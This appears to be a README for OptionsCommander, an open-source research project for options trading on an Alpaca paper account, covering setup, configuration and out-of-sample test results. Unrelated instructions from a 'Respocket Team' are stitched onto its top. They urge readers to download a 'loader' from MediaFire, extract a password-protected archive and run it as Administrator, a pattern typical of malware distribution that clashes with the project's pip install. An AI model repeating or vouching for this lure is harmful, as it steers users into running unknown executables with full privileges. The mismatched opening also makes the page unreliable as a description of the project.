⚡ All-in-one loader: The entire script is compiled into a single loader for your convenience — just download, extract, and run. No extra setup required.
- ⬇️ Download the tool from the button above.
- 📦 Extract the archive (password:
respocket). - 🖱️ Run as Administrator – right‑click the executable and select Run as Administrator.
- ✅ Follow the setup wizard – complete the installation.
- 🚀 Launch the Tool – the main window appears.
⚠️ Important: Official Distribution NoticeWe distribute our software only through MediaFire.
If the download link leads to any other file-sharing service, please do not download it — it may be an unofficial or modified copy.
For your safety, always use the official release.
This release was carefully prepared by the Respocket Team — with attention to every detail, a focus on stability, and respect for our users.
Thank you for choosing our software. Download only official versions and stay with us!
Formerly RH2MAS (Reflective Hybrid Head Multi-Agent System). The GitHub repository iAmGiG/OptionsCommander was renamed from AutoTrader-AgentEdge on 2026-10-28 (#549); old links redirect.
THIS SOFTWARE IS FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY.
- Not Financial Advice: This system does not provide financial, investment, or trading advice
- Use at Your Own Risk: Trading involves substantial risk of loss
- No Warranties: Provided "as-is" without guarantees of accuracy or profitability
- Past Performance: Backtested results do not guarantee future performance
OptionsCommander is a research-driven trading platform on Alpaca Markets. It runs on a paper account: scheduled routines manage the open positions' stops and keep daily records, and an interactive CLI places orders on request. The MACD+RSI voting signal has no backtested edge, so nothing opens trades automatically. The agents were retired in #331; Microsoft Agent Framework is used only by the natural-language parser. Its research tests strategies out-of-sample, with transaction costs and look-ahead checks.
Core Philosophy: simple rules + human decision making, tested out-of-sample with costs > curve-fit technical indicators
| Issue | Strategy | Finding | Status |
|---|---|---|---|
| #574 | Live MACD+RSI rules | Sharpe 0.69 at 5 bps; alpha +0.11%/yr (t = 0.19) vs buy-and-hold | No edge (stage A) |
| #539 | Trailing stop vs fixed bracket | No detectable difference | CLOSED |
| #623 | Morning stop raise | Lower Sharpe on real 09:20 prices; removed (#649) | CLOSED |
| #532, #529 | RAF and weekly KAMA | No edge at live timing | STOP |
| #584 | Partial exits | No gain; every design lowers CAGR | Measured (#654) |
| #576 | GEX overlays | None survives multiple-testing correction | CLOSED |
| #516 | TSMOM+GEX Hybrid | Median improvement: -2.9% (worse than baseline) | CLOSED |
| #518 | MACD Stability | OOS Sharpe: -0.223 (least unprofitable) | CLOSED |
| #519 | Transaction Costs | MACD+RSI: 44% pass rate, TSMOM: 19% | CLOSED |
Methodology: Walk-forward validation, turnover-proportional transaction costs, look-ahead bias protection, median reporting for outlier robustness.
Note: Past performance does not guarantee future results. Research is ongoing with focus on simulation fidelity improvements.
| Component | Status |
|---|---|
| VotingSignal | In use (paper account) |
| CLI Trade Assistant | Complete |
| Alpaca Integration | Operational |
| Position Management | Complete |
| Trading Cycle | Complete |
| Daily Scheduler | In use (cron, paper account) |
| SQLite Cache | In use (market data and broker reads) |
| LLM request parsing | In use (typed requests only) |
Location: src/trading/instruments/voting_signal.py
- MACD Signal Generation: 13/34/8 Fibonacci periods
- RSI Momentum Analysis: 14-period with 30/70 thresholds
- Consensus Voting: Strong signals when both indicators agree
- One model call per request:
LLMParser(src/parsers/llm_parser.py) turns free text into a parsed request with a forced tool call. The model isgpt-4o-miniunlessOPENAI_TOOL_MODELsays otherwise. This is the only place the system calls a model. - Commands are routed first, by whole words: cancel, scheduler and mode requests never reach the model.
- The model's answer is checked: action, quantity and request type are validated, and a question ("should I sell SPY?") stays a review whatever the model says.
# Python 3.12 (CI also runs 3.14 and 3.15)
conda create -n OptionsCommander python=3.12
conda activate OptionsCommander
pip install -e . # runtime
pip install -e ".[dev]" # + ruff, pre-commit, pytest and the other dev tools
pip install -e ".[gex]" # optional: gex-database-infrastructure (private repo; research only)
pre-commit installIf ~/.local holds packages for other interpreters, run with python -s (the cron entry does) so it isn't loaded ahead of the env.
Declared in pyproject.toml; "in use" is the OptionsCommander env that runs the paper account (November 2026).
| Tool | In use | Declared | Used for |
|---|---|---|---|
| Python | 3.12.15 | >=3.12 |
Runtime; CI tests 3.12, 3.14 and 3.15 |
| pandas | 3.1.0 | >=2.2.0,<4 |
Data handling (pandas 3 reproduces every committed research result) |
| numpy, scipy, statsmodels | 2.5.4, 1.18.1, 0.15.0 | >=2.0, >=1.14, >=0.14 |
Indicators and research statistics |
| alpaca-py | 0.44.0 | >=0.43.2 |
Broker and market data (paper account) |
| agent-framework-core, -openai | 1.23.0, 1.17.0 | >=1.23,<2, >=1.17,<2 |
The natural-language parser only; brings openai 3.39.0 |
| psycopg2-binary | 2.9.13 | >=2.9.9 |
Research backtester (PostgreSQL, read-only) |
| gex-database-infrastructure | 1.4.0 | optional [gex] |
Options and GEX data for research and DB tests |
| ruff | 0.17.1 | ==0.17.1 ([dev], pre-commit, workflows) |
Lint, import order and format (replaced black and isort) |
| pre-commit | 4.7.0 | >=3.6.0 |
Runs ruff, markdownlint-cli2 0.12.1, bandit 1.9.4 and the file checks |
| pytest | 9.1.1 | >=7.4.0 |
Tests (-m "not db" in CI) |
Market data comes from the SQLite cache, then Alpaca, then Alpha Vantage (Polygon was removed in #608). State lives in SQLite (state/user.db).
Create config/config.yaml (or config/config.json; YAML is read first) with API credentials. It is gitignored: never commit it.
ALPHA_VANTAGE_KEY: "your_key" # Required: Fallback data
ALPACA_PAPER_API_KEY: "your_key" # Required: Paper trading
ALPACA_PAPER_SECRET: "your_key" # Required: Paper trading
# Optional: only typed requests use the model; slash commands, the signal and the routines don't
OPEN_AI_KEY: "sk-..."
OPENAI_TOOL_MODEL: "gpt-4o-mini" # optional, the defaultpython main.py
# Example session:
> how does SPY look? # Analysis only, nothing placed
> buy 10 AAPL # Shows the order and asks before placing it
> show portfolio # Positions and account
> /records # Daily equity, fills and realized P&L
> /schedule # Scheduler management
> /help # All commands# Recommended: a cron entry every 5 minutes runs whatever routine is due
./scripts/deployment/setup_cron.sh
# adds: */5 * * * * cd <repo> && <python> -s main.py --run-due
# (PYTHON_BIN defaults to ~/miniconda3/envs/OptionsCommander/bin/python)
# Alternative: a long-running daemon (or the systemd unit in scripts/deployment/)
python main.py --daemonThe morning (9:20 AM ET) and evening (3:50 PM ET) routines run on NYSE trading days only. Each fetches broker state, records the account, positions and fills, reconciles, re-places missing or expiring stops, checks alerts and GTT triggers, raises stops to their trailing level (the evening routine only while the market is open), and writes reports/daily/<ET date>_<routine>.md. Logs go to state/scheduler.log, cron errors to state/scheduler-cron.err. The scheduler is off by default (enabled: false in config_defaults/scheduler_config.yaml); enable in the CLI's /schedule mode turns it on.
Exits: the routines renew and re-place stops but not take-profit orders (an aging one is only flagged in the report). Alpaca cancels GTC orders after 90 days, so a bracket's take-profit leg lapses and a position held that long exits by its trailing stop.
OptionsCommander/ # repository root
├── main.py # CLI, --run-due (cron), --daemon
├── src/
│ ├── trading/ # broker/, orders/, positions/, state/, gtt/, scheduling/, instruments/
│ ├── strategies/ # RealVoterStrategy (the CLI's analysis)
│ ├── core/ # Models, the CLI's request pipeline, trading modes
│ ├── parsers/ # LLMParser (the one model call)
│ ├── market_data/ # Alpaca, Alpha Vantage, read-only options chains
│ ├── cache/ # SQLite cache
│ ├── cli/ # Interactive CLI: commands/, tools/, scheduler/
│ ├── backtesting/ # Research backtester, live-rules simulator
│ └── utils/ # Market hours, dates, state paths
├── scripts/ # research/, deployment/, utilities/
├── config/ # API credentials (local only)
├── config_defaults/ # Default YAML configs and help text
├── docs/ # Documentation
├── state/ # Local state, logs, notices (gitignored)
├── reports/ # Daily routine reports
└── tests/ # Test suite
| Topic | Location |
|---|
# Tests: what CI runs (no database, no credentials)
python -m pytest tests/ -m "not db"
# Database integration tests (read-only; needs the local PostgreSQL)
python -m pytest tests/ -m "db"
# Lint and format: the pinned hooks, over every tracked file. tests/ is gitignored
# (its files are force-added), so run ruff through pre-commit, not on directories
python -m pre_commit run --all-files
# Signal import check
python -c "from src.trading.instruments.voting_signal import VotingSignal; print('OK')"AGPL-3.0 - See LICENSE file for details.
GNU AFFERO GENERAL PUBLIC LICENSE
Version 3, 19 November 2007